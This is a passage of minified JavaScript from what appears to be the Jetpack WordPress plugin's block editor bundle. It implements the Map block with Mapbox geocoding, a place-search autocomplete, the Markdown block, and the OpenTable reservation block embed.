null,__("To use the map block, you need an Access Token.","jetpack"),(0,o.createElement)("br",null),(0,o.createElement)(c.ExternalLink,{href:"https://www.mapbox.com"},__("Create an account or log in to Mapbox.","jetpack")),(0,o.createElement)("br",null),__("Locate and copy the default access token. Then, paste it into the field below.","jetpack")),M=(0,o.createElement)(c.Placeholder,{icon:y.X.icon,label:__("Map","jetpack"),notices:a,instructions:I},(0,o.createElement)(p.Fragment,null,(0,o.createElement)("form",null,(0,o.createElement)("input",{type:"text",className:"components-placeholder__input",disabled:N,placeholder:__("Paste Token Here","jetpack"),value:L,onChange:this.updateAPIKeyControl}),(0,o.createElement)(c.Button,{variant:"secondary",disabled:N||!L||L.length<1,onClick:this.updateAPIKey},__("Set Token","jetpack"))))),B=i&&m.length<=1,Z=(0,h.t)(y.X.styles,n.className),F=(0,o.createElement)(p.Fragment,null,A,(0,o.createElement)("div",{className:e},(0,o.createElement)(c.ResizableBox,{size:{height:S||"auto",width:"100%"},grid:[10,10],showHandle:i,minHeight:400,enable:E,onResizeStart:u,onResizeStop:this.onMapResize},(0,o.createElement)("div",{className:"wp-block-jetpack-map__map_wrapper"},(0,o.createElement)(g.Z,{ref:this.mapRef,scrollToZoom:B,showFullscreenButton:j,mapStyle:Z||"default",mapDetails:d,mapHeight:S,points:m,zoom:v,mapCenter:w,markerColor:_,onSetZoom:e=>{t({zoom:e})},admin:!0,apiKey:P,onSetPoints:e=>t({points:e}),onSetMapCenter:e=>t({mapCenter:e}),onMapLoaded:()=>this.setState({addPointVisibility:!m.length}),onMarkerClick:()=>this.setState({addPointVisibility:!1}),onError:this.onError},i&&x&&(0,o.createElement)(f.Z,{onAddPoint:this.addPoint,onClose:()=>this.setState({addPointVisibility:!1}),apiKey:P,onError:this.onError,tagName:"AddPoint"})))))),D=y.X.styles.find((e=>e.name===Z)),O=(0,o.createElement)("div",null,(0,o.createElement)("img",{alt:__("Map Preview","jetpack"),src:D?D.preview:k}));return(0,o.createElement)(p.Fragment,null,r,C&&O,!C&&0===T&&R,!C&&1===T&&M,!C&&2===T&&F)}}t.Z=(0,u.compose)([c.withNotices,(0,d.withDispatch)((e=>{const{toggleSelection:t}=e("core/block-editor");return{onResizeStart:()=>t(!1),onResizeStop:()=>t(!0)}}))])(w)},22055:function(e,t,n){"use strict";var r=n(31985),a=n(85406);(0,r.Z)(a.u,a.X)},1555:function(e,t,n){"use strict";function r(e,t){return fetch(`https://api.mapbox.com/geocoding/v5/mapbox.places/${encodeURIComponent(e)}.json?access_token=${encodeURIComponent(t)}`).then((e=>e.json()))}n.d(t,{P:function(){return r}})},85406:function(e,t,n){"use strict";n.d(t,{X:function(){return u},u:function(){return c}});var r=n(70355),a=n(55109),o=n(45051),i=n(740),s=n(19496),l=n(82695);const{name:c}=l.X,u={title:l.X.title,icon:{src:l.X.icon,foreground:(0,r.m)()},category:l.X.category,keywords:l.X.keywords,description:l.X.description,attributes:l.X.attributes,supports:l.X.supports,styles:l.X.styles,getEditWrapperProps(e){const{align:t}=e;if(-1!==l.X.validAlignments.indexOf(t))return{"data-align":t}},edit:i.Z,save:s.Z,example:l.X.example,deprecated:[o.Z,a.Z]}},82621:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(69307),i=n(84634);class s extends o.Component{constructor(){super(...arguments),a()(this,"closeClick",(()=>{this.props.unsetActiveMarker()}))}componentDidMount(){const{mapboxgl:e}=this.props;this.el=document.createElement("DIV"),this.infowindow=(0,i.xt)(e),this.infowindow.setDOMContent(this.el),this.infowindow.on("close",this.closeClick)}componentDidUpdate(e){this.props.activeMarker!==e.activeMarker&&(this.props.activeMarker?this.openWindow():this.closeWindow())}render(){return this.el?(0,o.createPortal)(this.props.children,this.el):null}openWindow(){const{map:e,activeMarker:t}=this.props;this.infowindow.setLngLat(t.getPoint()).addTo(e)}closeWindow(){this.infowindow.remove()}}s.defaultProps={unsetActiveMarker:()=>{},activeMarker:null,map:null,mapboxgl:null},t.Z=s},31852:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(55609),s=n(69307),l=n(65736),c=n(96881);const u=(0,l.__)("Add a marker…","jetpack");class d extends s.Component{constructor(){super(...arguments),a()(this,"getOptionCompletion",(e=>{const{value:t}=e,n={placeTitle:t.text,title:t.text,caption:t.place_name,id:t.id,coordinates:{longitude:t.geometry.coordinates[0],latitude:t.geometry.coordinates[1]}};return this.props.onAddPoint(n),t.text})),a()(this,"search",(e=>{const{apiKey:t,onError:n}=this.props,r="https://api.mapbox.com/geocoding/v5/mapbox.places/"+encodeURI(e)+".json?access_token="+t;return new Promise((function(e,t){const a=new XMLHttpRequest;a.open("GET",r),a.onload=function(){if(200===a.status){const t=JSON.parse(a.responseText);e(t.features)}else{const e=JSON.parse(a.responseText);n(e.statusText,e.responseJSON.message),t(new Error("Mapbox Places Error"))}},a.send()}))})),a()(this,"onReset",(()=>{this.textRef.current.value=null})),this.textRef=(0,s.createRef)(),this.containerRef=(0,s.createRef)(),this.state={isEmpty:!0},this.autocompleter={name:"placeSearch",options:this.search,isDebounced:!0,getOptionLabel:e=>(0,o.createElement)("span",null,e.place_name),getOptionKeywords:e=>[e.place_name],getOptionCompletion:this.getOptionCompletion}}componentDidMount(){setTimeout((()=>{this.containerRef.current.querySelector("input").focus()}),50)}render(){const{label:e}=this.props;return(0,o.createElement)("div",{ref:this.containerRef},(0,o.createElement)(i.BaseControl,{label:e,className:"components-location-search"},(0,o.createElement)(c.Z,{completer:this.autocompleter,onReset:this.onReset},(e=>{let{isExpanded:t,listBoxId:n,activeId:r,onChange:a,onKeyDown:s}=e;return(0,o.createElement)(i.TextControl,{placeholder:u,ref:this.textRef,onChange:a,"aria-expanded":t,"aria-owns":n,"aria-activedescendant":r,onKeyDown:s})}))))}}d.defaultProps={onError:()=>{}},t.Z=d},57897:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(55609),s=n(69307);class l extends s.Component{constructor(){super(...arguments),a()(this,"onDeletePoint",(e=>{const t=parseInt(e.target.getAttribute("data-id")),{points:n,onChange:r}=this.props,a=n.slice(0);a.splice(t,1),r(a)})),this.state={selectedCell:null}}setMarkerField(e,t,n){const{points:r,onChange:a}=this.props,o=r.slice(0);o[n][e]=t,a(o)}render(){const{points:e}=this.props,t=e.map(((e,t)=>(0,o.createElement)(i.PanelBody,{title:e.placeTitle,key:e.id,initialOpen:!1},(0,o.createElement)(i.TextControl,{label:"Marker Title",value:e.title,onChange:e=>this.setMarkerField("title",e,t)}),(0,o.createElement)(i.TextareaControl,{label:"Marker Caption",value:e.caption,rows:"3",onChange:e=>this.setMarkerField("caption",e,t)}),(0,o.createElement)(i.Button,{"data-id":t,onClick:this.onDeletePoint,className:"component__locations__delete-btn"},(0,o.createElement)(i.Dashicon,{icon:"trash",size:"15"})," Delete Marker"))));return(0,o.createElement)("div",{className:"component__locations"},(0,o.createElement)(i.Panel,{className:"component__locations__panel"},t))}}l.defaultProps={points:Object.freeze([]),onChange:()=>{}},t.Z=l},96881:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(55609),s=n(94333),l=n(69307),c=n(65736),u=n(39630),d=n(65235),p=n.n(d),m=n(92819);const __=c.__,_n=c._n;function h(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:10;const n=[];for(let r=0;r<e.length;r++){const a=e[r];let{keywords:o=[]}=a;if("string"==typeof a.label&&(o=[...o,a.label]),n.push(a),n.length===t)break}return n}class f extends l.Component{static getInitialState(){return{selectedIndex:0,query:void 0,filteredOptions:[],isOpen:!1}}constructor(){super(...arguments),a()(this,"select",(e=>{const{completer:t}=this.props;(t.getOptionCompletion||{})(e),this.reset()})),a()(this,"reset",(()=>{this.setState(this.constructor.getInitialState())})),a()(this,"onChange",(e=>{const{completer:t}=this.props,{options:n}=this.state;if(!e)return void this.reset();t&&(t.isDebounced?this.debouncedLoadOptions(t,e):this.loadOptions(t,e));const r=t?h(n):[];t&&this.setState({selectedIndex:0,filteredOptions:r,query:e})})),a()(this,"onKeyDown",(e=>{const{isOpen:t,selectedIndex:n,filteredOptions:r}=this.state;if(!t)return;let a;switch(e.keyCode){case u.UP:a=(0===n?r.length:n)-1,this.setState({selectedIndex:a});break;case u.DOWN:a=(n+1)%r.length,this.setState({selectedIndex:a});break;case u.ENTER:this.select(r[n]);break;case u.LEFT:case u.RIGHT:case u.ESCAPE:return void this.reset();default:return}e.preventDefault(),e.stopPropagation()})),this.debouncedLoadOptions=(0,m.debounce)(this.loadOptions,250),this.state=this.constructor.getInitialState()}componentWillUnmount(){this.debouncedLoadOptions.cancel()}handleFocusOutside(){this.reset()}loadOptions(e,t){const{options:n}=e,r=this.activePromise=Promise.resolve("function"==typeof n?n(t):n).then((t=>{if(r!==this.activePromise)return;const n=t.map(((t,n)=>({key:`${n}`,value:t,label:e.getOptionLabel(t),keywords:e.getOptionKeywords?e.getOptionKeywords(t):[]}))),a=h(n),o=a.length===this.state.filteredOptions.length?this.state.selectedIndex:0;this.setState({options:n,filteredOptions:a,selectedIndex:o,isOpen:a.length>0}),this.announce(a)}))}announce(e){const{debouncedSpeak:t}=this.props;t&&(e.length?t((0,c.sprintf)(/* translators: placeholder is a number. */
_n("%d result found, use up and down arrow keys to navigate.","%d results found, use up and down arrow keys to navigate.",e.length,"jetpack","jetpack"),e.length),"assertive"):t(__("No results.","jetpack"),"assertive"))}render(){const{onChange:e,onKeyDown:t}=this,{children:n,instanceId:r,completer:a}=this.props,{selectedIndex:s,filteredOptions:l}=this.state,{key:c=""}=l[s]||{},{className:u}=a,d=l.length>0,h=d?`components-autocomplete-listbox-${r}`:null,f=d?`components-autocomplete-item-${r}-${c}`:null;return(0,o.createElement)("div",{className:"components-autocomplete"},n({isExpanded:d,listBoxId:h,activeId:f,onChange:e,onKeyDown:t}),d&&(0,o.createElement)(i.Popover,{focusOnMount:!1,onClose:this.reset,position:"top center",className:"components-autocomplete__popover",noArrow:!0},(0,o.createElement)("div",{id:h,role:"listbox",className:"components-autocomplete__results"},(0,m.map)(l,((e,t)=>(0,o.createElement)(i.Button,{key:e.key,id:`components-autocomplete-item-${r}-${e.key}`,role:"option","aria-selected":t===s,disabled:e.isDisabled,className:p()("components-autocomplete__result",u,{"is-selected":t===s}),onClick:()=>this.select(e)},e.label))))))}}t.Z=(0,s.compose)([i.withSpokenMessages,s.withInstanceId,i.withFocusOutside])(f)},9262:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(69307),i=n(85007),s=n(84634);class l extends o.Component{constructor(){super(...arguments),a()(this,"handleClick",(()=>{const{onClick:e}=this.props;e(this)})),a()(this,"getPoint",(()=>{const{point:e}=this.props;return[e.coordinates.longitude,e.coordinates.latitude]}))}componentDidMount(){this.renderMarker()}componentWillUnmount(){this.marker&&this.marker.remove()}componentDidUpdate(){this.renderMarker()}renderMarker(){const{map:e,point:t,mapboxgl:n,markerColor:r,mapRef:a}=this.props,{handleClick:o}=this,l=[t.coordinates.longitude,t.coordinates.latitude],{currentDoc:c}=(0,i.bL)(a.current),u=this.marker?this.marker.getElement():c.createElement("div");this.marker?this.marker.setLngLat(l):(u.className="wp-block-jetpack-map-marker",this.marker=new n.Marker(u).setLngLat(l).setOffset([0,-19]).addTo(e),this.marker.getElement().addEventListener("click",o)),(0,s.zb)(u,r)}render(){return null}}l.defaultProps={point:{},map:null,markerColor:"#000000",mapboxgl:null,onClick:()=>{}},t.Z=l},90055:function(e,t,n){"use strict";function r(e,t){return{default:{details:"mapbox://styles/automattic/cjolkhmez0qdd2ro82dwog1in",no_details:"mapbox://styles/automattic/cjolkci3905d82soef4zlmkdo"},black_and_white:{details:"mapbox://styles/automattic/cjolkixvv0ty42spgt2k4j434",no_details:"mapbox://styles/automattic/cjolkgc540tvj2spgzzoq37k4"},satellite:{details:"mapbox://styles/mapbox/satellite-streets-v10",no_details:"mapbox://styles/mapbox/satellite-v9"},terrain:{details:"mapbox://styles/automattic/cjolkf8p405fh2soet2rdt96b",no_details:"mapbox://styles/automattic/cjolke6fz12ys2rpbpvgl12ha"}}[e][t?"details":"no_details"]}n.d(t,{h:function(){return r}})},84634:function(e,t,n){"use strict";n.d(t,{YB:function(){return a},b2:function(){return r},k:function(){return o},sy:function(){return i},xt:function(){return l},zb:function(){return s}});const r=e=>e.hasOwnProperty("lat")&&e.hasOwnProperty("lng")?e:{lat:e.latitude||0,lng:e.longitude||0};function a(e,t){const n=new e.LngLatBounds;return t.forEach((e=>{n.extend([e.coordinates.longitude,e.coordinates.latitude])})),n}function o(e,t){e.fitBounds(t,{padding:{top:80,bottom:80,left:40,right:40}})}function i(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(t)e.style.height=t+"px";else{const t=e.offsetWidth,n=window.location.search.indexOf("map-block-counter")>-1?window.innerHeight:.8*window.innerHeight,r=Math.min(t*(3/4),n);e.style.height=r+"px"}}function s(e,t){e.innerHTML=`\n\t\t<?xml version="1.0" encoding="UTF-8"?>\n\t\t<svg version="1.1" viewBox="0 0 32 38" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n\t\t\t<g fill-rule="evenodd">\n\t\t\t\t<path id="d" d="m16 38s16-11.308 16-22-7.1634-16-16-16-16 5.3076-16 16 16 22 16 22z" fill="${t}"/>\n\t\t\t</g>\n\t\t</svg>\n\t`}function l(e){return new e.Popup({closeButton:!0,closeOnClick:!1,offset:{left:[0,0],top:[0,5],right:[0,0],bottom:[0,-40]}})}},19496:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(81518),i=n(82695);class s extends a.Component{render(){const{attributes:e}=this.props,{align:t,className:n,mapDetails:a,points:s,zoom:l,mapCenter:c,markerColor:u,scrollToZoom:d,mapHeight:p,showFullscreenButton:m}=e,h=(0,o.t)(i.X.styles,n),f=s.map(((e,t)=>{const{longitude:n,latitude:a}=e.coordinates,o="https://www.google.com/maps/search/?api=1&query="+a+","+n;return(0,r.createElement)("li",{key:t},(0,r.createElement)("a",{href:o},e.title))})),g=t?`align${t}`:null;return(0,r.createElement)("div",{className:g,"data-map-style":h,"data-map-details":a,"data-points":JSON.stringify(s),"data-zoom":l,"data-map-center":JSON.stringify(c),"data-marker-color":u,"data-scroll-to-zoom":d||null,"data-map-height":p||null,"data-show-fullscreen-button":m||null},s.length>0&&(0,r.createElement)("ul",null,f))}}t.Z=s},82695:function(e,t,n){"use strict";n.d(t,{X:function(){return c}});var r=n(51806),a=n(65736),o=n(45107),i=n(56932),s=n(65765),l=n(34140);const __=a.__,_x=a._x,c={name:"map",prefix:"jetpack",title:__("Map","jetpack"),icon:(0,r.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24",role:"img","aria-hidden":"true",focusable:"false"},(0,r.createElement)("path",{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)("path",{d:"M20.5 3l-.16.03L15 5.1 9 3 3.36 4.9c-.21.07-.36.25-.36.48V20.5c0 .28.22.5.5.5l.16-.03L9 18.9l6 2.1 5.64-1.9c.21-.07.36-.25.36-.48V3.5c0-.28-.22-.5-.5-.5zM10 5.47l4 1.4v11.66l-4-1.4V5.47zm-5 .99l3-1.01v11.7l-3 1.16V6.46zm14 11.08l-3 1.01V6.86l3-1.16v11.84z"})),category:"embed",keywords:[_x("maps","block search term","jetpack"),_x("location","block search term","jetpack"),_x("navigation","block search term","jetpack")],description:__("Add an interactive map showing one or more locations.","jetpack"),attributes:{align:{type:"string"},points:{type:"array",default:[]},address:{type:"string",default:""},mapDetails:{type:"boolean",default:!0},zoom:{type:"integer",default:13},mapCenter:{type:"object",default:{longitude:-122.41941550000001,latitude:37.7749295}},markerColor:{type:"string",default:"red"},preview:{type:"boolean",default:!1},scrollToZoom:{type:"boolean",default:!1},mapHeight:{type:"integer"},showFullscreenButton:{type:"boolean",default:!0}},supports:{defaultStylePicker:!1,html:!1},styles:[{name:"default",label:__("Basic","jetpack"),preview:i,isDefault:!0},{name:"black_and_white",label:__("Black and white","jetpack"),preview:o},{name:"satellite",label:__("Satellite","jetpack"),preview:s},{name:"terrain",label:__("Terrain","jetpack"),preview:l}],validAlignments:["center","wide","full"],markerIcon:(0,r.createElement)("svg",{width:"14",height:"20",viewBox:"0 0 14 20",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)("g",{id:"Page-1",fill:"none",fillRule:"evenodd"},(0,r.createElement)("g",{id:"outline-add_location-24px",transform:"translate(-5 -2)"},(0,r.createElement)("polygon",{id:"Shape",points:"0 0 24 0 24 24 0 24"}),(0,r.createElement)("path",{d:"M12,2 C8.14,2 5,5.14 5,9 C5,14.25 12,22 12,22 C12,22 19,14.25 19,9 C19,5.14 15.86,2 12,2 Z M7,9 C7,6.24 9.24,4 12,4 C14.76,4 17,6.24 17,9 C17,11.88 14.12,16.19 12,18.88 C9.92,16.21 7,11.85 7,9 Z M13,6 L11,6 L11,8 L9,8 L9,10 L11,10 L11,12 L13,12 L13,10 L15,10 L15,8 L13,8 L13,6 Z",id:"Shape",fill:"#000",fillRule:"nonzero"})))),example:{attributes:{preview:!0}}}},461:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(52175),s=n(94333),l=n(9818),c=n(69307),u=n(65736),d=n(65235),p=n.n(d),m=n(69283);const __=u.__,h="editor",f="preview";class g extends c.Component{constructor(){super(...arguments),a()(this,"input",null),a()(this,"state",{activePanel:h}),a()(this,"bindInput",(e=>{this.input=e})),a()(this,"updateSource",(e=>this.props.setAttributes({source:e}))),a()(this,"handleKeyDown",(e=>{const{attributes:t,removeBlock:n}=this.props,{source:r}=t;8===e.keyCode&&""===r&&(n(),e.preventDefault())})),a()(this,"toggleMode",(e=>()=>this.setState({activePanel:e})))}componentDidUpdate(e){e.isSelected&&!this.props.isSelected&&this.state.activePanel===f&&this.toggleMode(h)(),!e.isSelected&&this.props.isSelected&&this.state.activePanel===h&&this.input&&this.input.focus()}isEmpty(){const e=this.props.attributes.source;return!e||""===e.trim()}renderToolbarButton(e,t){const{activePanel:n}=this.state,{className:r}=this.props,a=p()(r,"components-button components-tab-button",{"is-pressed":n===e});return(0,o.createElement)("button",{className:a,onClick:this.toggleMode(e)},(0,o.createElement)("span",null,t))}render(){const{attributes:e,className:t,isSelected:n}=this.props,{source:r}=e,{activePanel:a}=this.state;return!n&&this.isEmpty()?(0,o.createElement)("p",{className:`${t}__placeholder`},__("Write your _Markdown_ **here**…","jetpack")):(0,o.createElement)("div",{className:t},(0,o.createElement)(i.BlockControls,null,(0,o.createElement)("div",{className:"components-toolbar"},this.renderToolbarButton(h,__("Markdown","jetpack")),this.renderToolbarButton(f,__("Preview","jetpack")))),a!==f&&n?(0,o.createElement)(i.PlainText,{className:`${t}__editor`,onChange:this.updateSource,onKeyDown:this.handleKeyDown,"aria-label":__("Markdown","jetpack"),innerRef:this.bindInput,value:r}):(0,o.createElement)(m.Z,{className:`${t}__preview`,source:r}))}}t.Z=(0,s.compose)([(0,l.withSelect)((e=>({currentBlockId:e("core/block-editor").getSelectedBlockClientId()}))),(0,l.withDispatch)(((e,t)=>{let{currentBlockId:n}=t;return{removeBlock:()=>e("core/block-editor").removeBlocks(n)}}))])(g)},49702:function(e,t,n){"use strict";var r=n(31985),a=n(80723);(0,r.Z)(a.u,a.X)},80723:function(e,t,n){"use strict";n.d(t,{X:function(){return b},u:function(){return p}});var r=n(51806),a=n(13419),o=n(55609),i=n(69307),s=n(65736),l=n(70355),c=n(5820),u=n(461),d=n(2683);const __=s.__,_x=s._x,p="markdown",m=__("Try Markdown","jetpack"),h=__("Markdown is a text formatting syntax that is converted into HTML. You can _emphasize_ text or **make it strong** with just a few characters.","jetpack"),f=(0,r.createElement)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 208 128"},(0,r.createElement)(o.Rect,{width:"198",height:"118",x:"5",y:"5",ry:"10",stroke:"currentColor",strokeWidth:"10",fill:"none"}),(0,r.createElement)(o.Path,{d:"M30 98v-68h20l20 25 20-25h20v68h-20v-39l-20 25-20-25v39zM155 98l-30-33h20v-35h20v35h20z"})),g=(0,a.Wp)()||(0,a.Ug)()?"https://en.support.wordpress.com/markdown-quick-reference/":"https://jetpack.com/support/jetpack-blocks/markdown-block/",b={title:__("Markdown","jetpack"),description:(0,r.createElement)(i.Fragment,null,(0,r.createElement)("p",null,__("Use regular characters and punctuation to style text, links, and lists.","jetpack")),(0,r.createElement)(o.ExternalLink,{href:g},__("Support reference","jetpack"))),icon:{src:f,foreground:(0,l.m)()},category:(0,c.Z)("text","formatting"),keywords:[_x("formatting","block search term","jetpack"),_x("syntax","block search term","jetpack"),_x("markup","block search term","jetpack")],attributes:{source:{type:"string"}},supports:{align:["wide","full"],html:!1,spacing:{padding:!0,margin:!0,__experimentalDefaultControls:{padding:!0,margin:!0}}},edit:u.Z,save:d.Z,example:{attributes:{source:`## ## ${m}\n\n${h}`}}}},69283:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(69307),i=n(65736),s=n(10185),l=n.n(s),c=n(82339),u=n.n(c);const __=i.__,d=(new(l())).use(u()),p=e=>{if("A"===e.target.nodeName){window.confirm(__("Are you sure you wish to leave this page?","jetpack"))||e.preventDefault()}},m=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=(0,a.__experimentalGetSpacingClassesAndStyles)?.(e);return t?.style?t.style:{}};t.Z=e=>{let{className:t,source:n="",attributes:a}=e;return(0,r.createElement)(o.RawHTML,{className:t,onClick:p,style:m(a)},n.length?d.render(n):"")}},2683:function(e,t,n){"use strict";var r=n(51806),a=n(69283);t.Z=e=>{let{attributes:t,className:n}=e;return(0,r.createElement)(a.Z,{className:n,source:t.source,attributes:t})}},31283:function(e,t,n){"use strict";n.d(t,{Eo:function(){return c},V1:function(){return i},ez:function(){return m},fL:function(){return u},jn:function(){return l},vW:function(){return s}});var r,a=n(65736),o=n(92819);const __=a.__,i=[{value:"en-US",label:"English"},{value:"fr-CA",label:"Français"},{value:"de-DE",label:"Deutsch"},{value:"es-MX",label:"Español"},{value:"ja-JP",label:"日本語"},{value:"nl-NL",label:"Nederlands"},{value:"it-IT",label:"Italiano"}],s=i.map((e=>e.value));const l={name:"button",label:__("Button (210 x 113 pixels)","jetpack")},c=e=>(0,o.compact)([{name:"standard",label:__("Standard (224 x 301 pixels)","jetpack"),isDefault:!0},{name:"tall",label:__("Tall (288 x 490 pixels)","jetpack")},{name:"wide",label:__("Wide (840 x 150 pixels)","jetpack")},(!e||1===e.length)&&l]),u=e=>c(e).map((e=>e.name)),d=null!==(r=window?.Jetpack_Editor_Initial_State?.siteLocale)&&void 0!==r?r:"en-US",p=!(0,o.isEmpty)(d)&&s.includes(d)?d:"en-US",m={rid:{default:[],type:"array"},style:{default:"standard",type:"string",validValues:u()},iframe:{default:!0,type:"boolean"},domain:{default:"com",type:"string"},lang:{default:p,type:"string",validValues:s},newtab:{default:!1,type:"boolean"},negativeMargin:{default:!1,type:"boolean"}}},80452:function(e,t,n){"use strict";var r=n(51806),a=n(31283);t.Z={attributes:a.ez,supports:{align:!0,html:!1},save:e=>{let{attributes:{rid:t}}=e;return(0,r.createElement)(r.Fragment,null,t.map((e=>(0,r.createElement)("a",{href:`https://www.opentable.com/restref/client/?rid=${e}`},`https://www.opentable.com/restref/client/?rid=${e}`))))}}},70398:function(e,t,n){"use strict";var r=n(51806),a=n(31283);t.Z={attributes:a.ez,migrate:e=>{const{style:t,className:n}=e,r="standard"===t?"":`is-style-${t}`;return{...e,className:n?`${n} ${r}`:r}},isEligible:e=>{let{style:t,className:n}=e;return!(!t||"standard"===t)&&(!n||-1===n.indexOf("is-style-"))},save:e=>{let{attributes:{rid:t}}=e;return(0,r.createElement)("div",null,t.map((e=>(0,r.createElement)("a",{href:`https://www.opentable.com/restref/client/?rid=${e}`},`https://www.opentable.com/restref/client/?rid=${e}`))))}}},76851:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(52175),i=n(4981),s=n(55609),l=n(69307),c=n(65736),u=n(65235),d=n.n(u),p=n(92819),m=n(81518),h=n(4554),f=n(31283),g=n(15040),b=n(57087),v=n(41007),k=n(48769);const __=c.__;t.Z=(0,s.withNotices)((function(e){let{attributes:t,className:n,clientId:u,isSelected:y,name:E,noticeOperations:w,noticeUI:_,setAttributes:C}=e;const S=(0,i.getBlockDefaultClassName)(E),j=(0,h.S)(f.ez,t);(0,p.isEqual)(j,t)||C(j);const{align:x,rid:P,iframe:L,domain:T,lang:N,newtab:A,negativeMargin:R}=t,I=(0,p.isEmpty)(P),M=(0,m.t)((0,f.Eo)(),t.className),B=(0,m.t)((0,f.Eo)(P),t.className),Z=(0,v.Z)(B),F=(0,p.isEqual)(P,["1"]);(0,l.useEffect)((()=>{if(w.removeAllNotices(),!I&&!F&&"wide"===B&&"wide"!==x&&"full"!==x){const e=(0,r.createElement)(r.Fragment,null,__('With the OpenTable block you may encounter display issues if you use its "wide" style with anything other than "wide" or "full" alignment. The wide display style may also not work well on smaller screens.',"jetpack"));w.createNotice({status:"warning",content:e})}}),[F,x,I,P,B]),(0,l.useEffect)((()=>{"button"===M&&Array.isArray(P)&&P.length>1&&C({className:"",style:""})}),[P,M,C]),(0,l.useEffect)((()=>{y&&(Array.isArray(P)&&P.length>1?(0,i.unregisterBlockStyle)("jetpack/opentable",["button"]):(0,i.registerBlockStyle)("jetpack/opentable",f.jn))}),[y,P]),(0,l.useEffect)((()=>{"wide"===Z&&"wide"===x&&C({align:""}),"wide"===B&&Z&&B!==Z&&C({align:"wide"}),C({style:B})}),[B]);const D=(0,f.fL)(P),O=e=>P.length>1?["multi","button"!==e?e:"standard"]:["button"===e?"button":"standard","button"===e?"standard":e],z=e=>{Array.isArray(e)?C({rid:e,style:e.length>1&&"button"===B?"standard":B}):(e=>{const t=(0,k.CC)(e);t||(w.removeAllNotices(),w.createErrorNotice((0,r.createElement)(r.Fragment,null,(0,r.createElement)("strong",null,__("We ran into an issue","jetpack")),(0,r.createElement)("br",null),__("Please ensure this embed matches the one from your OpenTable account","jetpack"))));const n=(0,h.S)(f.ez,t);C(n),w.removeAllNotices()})(e)},U=(0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.InspectorAdvancedControls,null,(0,r.createElement)(s.ToggleControl,{label:__("Load the widget in an iFrame (Recommended)","jetpack"),checked:L,onChange:()=>C({iframe:!L}),className:"is-opentable"}),"button"===B&&(0,r.createElement)(s.ToggleControl,{label:__("Remove button margin","jetpack"),checked:R,onChange:()=>C({negativeMargin:!R})})),(0,r.createElement)(o.InspectorControls,null,(0,r.createElement)(s.PanelBody,{title:__("Settings","jetpack")},(0,r.createElement)(b.Z,{rids:P,onChange:z}),(0,r.createElement)(s.SelectControl,{label:__("Language","jetpack"),value:N,onChange:e=>C({lang:e}),options:f.V1}),(0,r.createElement)(s.ToggleControl,{label:__("Open in a new window","jetpack"),checked:A,onChange:()=>C({newtab:!A})})))),$=(0,a.Wp)()||(0,a.Ug)()?"https://en.support.wordpress.com/wordpress-editor/blocks/opentable-block/":"https://jetpack.com/support/jetpack-blocks/opentable-block/",H=(0,r.createElement)(s.Placeholder,{label:__("OpenTable Reservation","jetpack"),icon:g.Z,instructions:__("Enter your restaurant name, or paste an OpenTable Reservation Widget embed code.","jetpack"),notices:_},(0,r.createElement)(b.Z,{rids:P,onSubmit:z}),(0,r.createElement)("div",{className:`${S}-placeholder-links`},(0,r.createElement)(s.ExternalLink,{href:"https://restaurant.opentable.com/get-started/"},__("Sign up for OpenTable","jetpack")),(0,r.createElement)(s.ExternalLink,{href:$},__("Learn more","jetpack")))),V=d()(n,{[`is-style-${B}`]:!I&&D.includes(B)&&-1===n.indexOf("is-style"),"is-placeholder":I,"is-multi":"multi"===O(B)[0],[`align${x}`]:x,"has-no-margin":R});return(0,r.createElement)(r.Fragment,null,_,(0,r.createElement)("div",{className:V},!I&&U,I?H:(e=>{const[t,n]=O(e||B);return(0,r.createElement)(r.Fragment,null,(0,r.createElement)("div",{className:`${S}-overlay`}),(0,r.createElement)("iframe",{title:(0,c.sprintf)(/* translators: Placeholder is a unique ID. */
__("Open Table Preview %s","jetpack"),u),scrolling:"no",src:`https://www.opentable.com/widget/reservation/canvas?rid=${(0,p.join)(P,"%2C")}&type=${t}&theme=${n}&overlay=false&domain=${T}&lang=${N&&f.vW.includes(N)?N:"en-US"}&newtab=${A}&disablega=true`}))})()))}))},92482:function(e,t,n){"use strict";var r=n(31985),a=n(69309);(0,r.Z)(a.u2,a.Xd)},15040:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 22 16",fill:"none",height:"16",width:"22"},(0,r.createElement)(a.Path,{d:"m1.997 5.982c-.39457-.00039-.7804.11622-1.108699.33511-.328295.21888-.584312.5302-.735674.89459-.15136174.36439-.1912714.76548-.1146819 1.15254.0765899.38707.2662379.74274.5449639 1.02202.278726.27929.634011.46965 1.020921.54702.38692.07732.78809.03826 1.15278-.11238.36469-.15063.67652-.40602.89606-.73387.21954-.32786.33693-.71345.33733-1.10803v-.002c.001-1.1-.89-1.994-1.992-1.995zm12.006 3.988c-.3946.0004-.7805-.11625-1.1088-.33517-.3283-.21893-.5843-.53031-.7357-.89476-.1513-.36444-.1912-.76558-.1145-1.15268s.2664-.74276.5453-1.022c.2788-.27925.6342-.46953 1.0211-.54679.387-.07725.7882-.038 1.1529.11278.3647.15079.6764.40634.8959.73432.2194.32799.3366.71369.3368 1.1083v.003c.0003.52814-.2092 1.03477-.5824 